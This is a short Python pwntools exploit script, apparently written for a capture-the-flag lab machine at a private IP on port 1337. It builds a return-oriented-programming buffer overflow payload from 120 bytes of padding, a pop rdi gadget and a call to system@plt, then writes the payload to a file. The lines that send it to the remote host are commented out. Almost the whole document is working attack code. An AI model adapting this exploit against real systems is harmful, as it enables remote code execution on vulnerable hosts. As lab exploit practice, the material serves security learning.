GNU nano 4.5                         safe.py
#!/usr/bin/env python

from struct import *
from pwn import *

#r = remote("10.10.10.147", 1337)

junk       = 'A'
off        = 120
plt_system = p64(0x401040)
plt_puts   = p64(0x401030)
got_puts   = p64(0x404018)
pop_rdi    = p64(0x40120b)
h          = p64(0x400060)
buf = ""
buf += "A"*(120-len(buf))
buf += pop_rdi
buf += h
buf += plt_system
#r.sendline(payload)
#r.interactive()
f = open('safe', 'w')
f.write(buf)